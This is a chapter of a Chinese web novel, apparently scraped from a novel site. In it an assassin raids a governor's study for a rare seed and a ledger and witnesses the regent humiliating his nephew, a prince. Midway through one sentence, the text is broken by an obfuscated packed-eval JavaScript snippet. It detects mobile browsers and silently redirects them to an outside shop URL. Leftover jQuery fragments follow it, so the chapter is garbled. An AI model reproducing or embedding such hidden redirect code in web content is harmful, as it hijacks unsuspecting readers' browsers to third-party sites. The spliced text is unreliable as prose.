文趣网 > 其他小说 > 刺客不下手 > 57. 摄政王现身
    总督府。

    此刻的府里果然空空荡荡,大部分人手都被齐仲远带出去了,廊间偶有几个下人,以沈鸢的身手,毫不留痕地绕过那些人,飞奔入书房。

    时间就是一切,一定要在齐仲远回来之前将她要的东西都找了。

    意料之中,燎原的气息在书房一个抽屉。

    也就是之前齐仲远亲自取出茶叶的地方。

    沈鸢试着去拉了拉把手,金色圆环纹丝不动,与想象中的一样,别有机关。

    不论怎么操作,圆环都没有什么反应,沈鸢急得不行,索性蹲在地上近距离观察。

    总算被她瞧出了端倪。

    圆环底部有个凸起的按钮,往下一按,抽屉应声而开。

    最先入眼的是茶叶,但沈鸢知道,那不过是伪装。

    这抽屉竟然比所在的柜子还要长一多,拉到底,足有两臂之长。茶叶之后,就是她要的东西。

    熟悉的一卷烟,燎原,静静躺在里面。

    除此之外,沈鸢按捺着剧烈的心跳,目光紧紧盯着一个盒子。

    巴掌大的锦盒,里面是让她呼吸凝滞的东西。

    形如莲子,通体莹白,表面覆着一层极薄的膜。不是霜,是它自身散发的寒气凝成的。握在手里像握着一小块冰,寒意顺着指尖往骨头缝里钻。凑近看,能瞧见半透明的外壳下,隐隐有银色的脉络,像雪山上冰层下的暗河。

    雪莲子!

    沈鸢不再迟疑,合上盖子就走。

    眼底瞥见了什么东西,藏在比雪莲子还深的位置。

    还有什么比雪莲子更宝贵的?不会是……

    轻手轻脚地取出,沈鸢看见了一个本子。

    这本子对她来说还挺熟悉,因为在清河城时就看见过类似的,那时是盐引账册。

    而今,是药材账册。

    是齐仲远暗中将寒髓草运至西北的交易记录!

    来都来了,不如都顺手取了,况且这东西,某些人恐怕大有用处……

    沈鸢将脑子里冒出的那张清俊面容强行赶走,一把将东西塞进怀里。

    原路返回时,沈鸢忽然察觉到一丝危险气息。

    而且不是一般的危险,是从未有过的程度!

    迅速后退,躲进一个空屋,透过窗棂缝隙她全神戒备打量四周。

    堂前正厅,出现了一个意想不到的身影。

    萧珩?

    他怎么会来总督府?

    沈鸢愣了一下,正打算走出去,忽然脚步顿住。

    不对,他边上还有一人。

    那人,正是危险的源头!

    她只能看见他的背,挺阔高大,一身玄色蟒袍泛着幽冷的光。他站在那里,像一座山压在整间屋子里,连空气都变得滞重。

    直到那人缓缓转身,沈鸢终于看清了那脸——方正,冷硬,眉骨高而深,眼窝微微下陷,投下一片阴翳。

    萧珩像他,萧瑞也像他。对于这人,沈鸢心里有了可怕的猜想。

    “老七,我听说临漳城大乱,特地赶来看看,没想到你也在城里。”他开口,声音不高,却字字清晰,像冰刃划过石面。

    “不过是闲游罢了,皇叔知道的,我这人性子散漫,最喜欢到处走走。”

    冷哼响起:“闲游?散漫?老七,既是如此,怎会与青蛟帮扯上关系,又怎会与仲远发生冲突?他是替我做事的,你应当知道。”

    “皇叔,我远离都城许久,还真不知道那些弯弯绕绕的事情。我与青蛟帮是江湖交情,并非刻意为难齐大人。”

    “可是仲远先前与我传讯,怨你多管闲事。不如这样,我一会儿叫他来说,你向他解释一二。”

    萧珩沉默了下,但还是点头了:“一切听皇叔安排。”他的侧脸在屋里半明半暗,看不出表情。

    他的皇叔,摄政王萧延笑了:“你母亲当年,若是肯低头,该多好。”

    萧珩的嘴角微微动了一下,但没有说话。

    暗中,沈鸢的拳头紧紧捏了起来。哪有让皇子跟大臣解释的道理?况且那齐仲远,既不是国之栋梁也不是开国元老,凭什么?思绪被一个剧烈的撞击声给打断。

    “王爷!”总督府大门被狠狠推开,一个身影踉踉跄跄奔来,直到萧延跟前。

    齐仲远声泪俱下:“王爷,您可一定要我做主!我……”

    话没说完,他痛呼一声,跪坐在地。

    是被踢的。萧延一脚将他踢了个老远,踢得他膝盖发出了重重

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720486|208618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    撞击声。

    “都说了你是废物,一个废物还有什么好解释的?”

    齐仲远伏在地上,肩膀瑟瑟发抖,根本不敢抬头。

    萧延转头看萧珩,竟没有让他向齐仲远解释的意思。他要的从来只是态度。

    老七识时务,很好。只是他希望再听话一些。

    “当年我与你父皇一同出游,是我先见到你娘的。也因此,与你娘情谊颇深。是以这些年对你多次容忍,但你,要记着你娘的前车之鉴,安分一些。”

    声音依然不高,但那语气里的东西,比任何怒喝都叫人发冷。

    沈鸢的指甲死死掐着掌心,直到堂前所有人的身影都已离开,她缓缓松手。

    垂头看着自己手里的指甲印,心有余悸。好一个摄政王。

    光是暗中偷看就让人发憷,她简直难以想象,萧珩对着那人的面,该什么怎样的心情?

    或许这么多年,他已经习惯了吧,又或许是实在无法忍受,所以离开了都城。

    无论是哪种,她都觉得,太不容易了。

    ——坦白说,她很少有替人感到辛苦的时候,这是头一回。

    他几乎没有说起过他生母的事情,可她能察觉到那份追思。

    花朝大会那次说书,她当时并不知道萧珩身份,事后想来,他当时的表情,是沉郁哀伤。

    而今萧延挖开他心底伤口,甚至在上头撒盐,他却没有反抗。

    是不是因为,不是他不想,而是暂时还不能?

    所以面对摄政王的滔天权势,犹在积蓄力量?

    回想一路走来萧珩在清河城、在临漳城的诸多行径,沈鸢明白了。

    想到这里,她下意识摸了摸袖中刚得来的账册,快步走出房间。

    忽然,耳畔似有一声轻响,声音太轻,她一时难以辨认,但多年练就的本能让她做出应对。

    一个状若绣花针的东西破空飞来,直射沈鸢胸口。

    锥心刺!

    等沈鸢看清的时候,慢了一步,距离锥心刺只有短短一寸。

    她退到了墙角,退无可退,心里只有濒临死亡的绝望,连手中一卷烟掉落在地都没有发现。

    “够了,鸩。”一个熟悉的声音响起。